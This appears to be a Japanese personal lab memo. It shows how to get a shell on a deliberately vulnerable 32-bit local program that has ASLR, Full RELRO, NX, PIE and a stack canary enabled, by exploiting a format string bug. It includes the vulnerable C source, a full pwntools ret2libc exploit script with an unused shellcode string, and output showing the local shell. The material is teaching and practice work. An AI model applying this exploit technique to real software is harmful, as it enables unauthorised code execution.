ASLR + Full RELRO + NX bit + PIE + SSP から FSB でシェルを起動する
これはASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーと RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー の合わせ技みたいなやつのメモです。
ASLR + Full RELRO + NX bit + PIE + SSP の状態でFSBからのシェルの起動までをやります。
環境
Ubuntu 20.04LTS 64bit
$ uname -a Linux defineprogram-dynabook-T45-GG 5.4.0-33-generic #37-Ubuntu SMP Thu May 21 12:53:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal $ gcc --version gcc (Ubuntu 9.3.0-10ubuntu2) 9.3.0 Copyright (C) 2019 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
攻撃対象のコード
//fsb.c #include <stdio.h> void vuln() { char buf[200]; for(int i=0;i<3;i++) { fgets(buf, sizeof(buf), stdin); printf(buf); fflush(stdout); } } int main() { vuln(); return 0; }
なんで3回かと言うと、後で3回に分けて攻撃するからです。
64bitのエクスプロイトは難しいので、32bitでやります。
gcc -m32 -Wl,-z,relro,-z,now -o fsb fsb.c
指針
ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーでは、アドレスをリークした上でfflushのアドレスを FSAでGOT Overwriteしてシェルコードのあるアドレスに向かせてシェルを奪っています(NX bit無効かつFull RELROでない事が条件)。 一方、RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジーではmain関数のリターンアドレスをsystem関数に向かわせてシェルを奪っています(ASLRが無効なのが条件)。
というわけで、合わせるとアドレスをリークした上でリターンアドレスをsystem関数に向かわせるという事になりますね。
これならNX bitにもRELROにも引っかかりません。
エクスプロイトコード
エクスプロイトコードは、大体ASLR+PIEとformat string attackによるInformation Leak - ももいろテクノロジーをpwntools使って書き直したようなものです。
アドレスによってはエラー出そうなのあるけど許して
エクスプロイトする時には、アドレスの入ってるアドレスなのか、それとも実際のアドレスなのか、そしてoffsetなのか実際のアドレスなのか混同しがちなので注意です。
さて、エクスプロイトの流れを軽く説明します。
Round 1 以前
以下の情報を持ちます。これらはPIEやASLRとは関係なく一定です。
- bufferがFSBで何番目に現れるか
- vulnからのreturn addressの置かれているアドレスのbufferからのoffset
- vulnを呼び出す時に置かれるsaved ebp自体のbufferからのoffset
- __libc_start_mainのgotアドレスのoffset
- fflushのgotアドレスのoffset
- vulnからのreturn address自体のoffset
- libc内の__libc_start_mainのoffset
Round 1
FSBを利用して、
- return address自体
- saved ebp自体
をリークします。return address自体のoffsetが分かっているので、offsetを引く事でbaseが何かが分かります。
また、saved ebpとbufferとのoffsetも分かっているので、bufferのアドレスも分かります。
Round 2
base addressが判明し、libc_start_main(got)のoffsetも分かっているので、FSBによりlibc_start_mainの実際のアドレスが判明します。
__libc_start_mainのlibc内のoffsetは分かっているので、libc base addressが分かります(重要)
Round 3
Round 1でbufferのアドレスが判明しており、またbufferとreturn addressの入ってるアドレスのoffsetも判明しているのでreturn addressの入ってるアドレスも分かります。
後はreturn addressを書き換えるだけです。
libc baseがRound 2で判明しているので、systemや"/bin/sh"の実際のアドレスも分かります。
こちらもFSBで書き換えるだけ。Got OverwriteではないのでRELROには引っかかりません!
Round 3 の後
vulnからのreturn時にsystem("/bin/sh")が実行され、シェルが立ち上がります。
やったぜ!
# ret2libc.py from pwn import * index=5 offset_retaddr_from_buf=0xd8 offset_ebp_from_buf=0xe4 shellcode=b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" elf=ELF("./fsb") libc=ELF("/lib/i386-linux-gnu/libc.so.6") offset_got_start=elf.got['__libc_start_main'] offset_got_fflush=elf.got['fflush'] offset_retaddr=0x12e3 offset_libc_start=libc.symbols['__libc_start_main'] log.info("offset_got_start={}".format(hex(offset_got_start))) log.info("offset_got_fflush={}".format(hex(offset_got_fflush))) log.info("offset_libc_start={}".format(hex(offset_libc_start))) p=process("./fsb") index_retaddr=index+offset_retaddr_from_buf//4 # Round 1 payload="%{}$08x".format(index_retaddr) payload+="%{}$08x".format(index_retaddr-1) p.sendline(payload) line=p.recvline() addr_retaddr=int(line[:8],16) addr_ebp=int(line[8:],16) base_addr=addr_retaddr-offset_retaddr addr_buf=addr_ebp-offset_ebp_from_buf log.info("base_addr:{}".format(hex(base_addr))) log.info("addr_buf:{}".format(hex(addr_buf))) # Round 2 payload=p32(base_addr+offset_got_start) payload+=bytes("%{}$s".format(index).encode()) p.sendline(payload) addr_libc_start=u32(p.recvline()[4:8]) base_libc_addr=addr_libc_start-offset_libc_start log.success("libc base:{}".format(hex(base_libc_addr))) # Round 3 address_retaddr=offset_retaddr_from_buf+addr_buf offset_system=libc.symbols['system'] offset_binsh=next(libc.search(b"/bin/sh")) writes={address_retaddr:base_libc_addr+offset_system, address_retaddr+8:base_libc_addr+offset_binsh} payload=fmtstr_payload(index,writes) p.sendline(payload) p.interactive()
実行すると、一発でシェルが取れている事が分かります。
$ python3 ret2libc.py [*] '/home/defineprogram/Desktop/CTF/FSB_ASLR+PIE/fsb' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] offset_got_start=0x3fe0 [*] offset_got_fflush=0x3fd4 [*] offset_libc_start=0x1edf0 [+] Starting local process './fsb': pid 18696 [*] base_addr:0x565ca000 [*] addr_buf:0xffaa77a4 [+] libc base:0xf7da6000 [*] Switching to interactive mode \xc8 \x80 @ % % h 1aaa|x\xaa\xff}x\xaa\xff~x\xaa\xff\x7fx\xaa\xff\x84x\xaa\xff\x85x\xaa\xff\x86x\xaa\xff\x87x\xaa\xff $ id uid=1000(defineprogram) gid=1000(defineprogram) groups=1000(defineprogram),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1001(docker)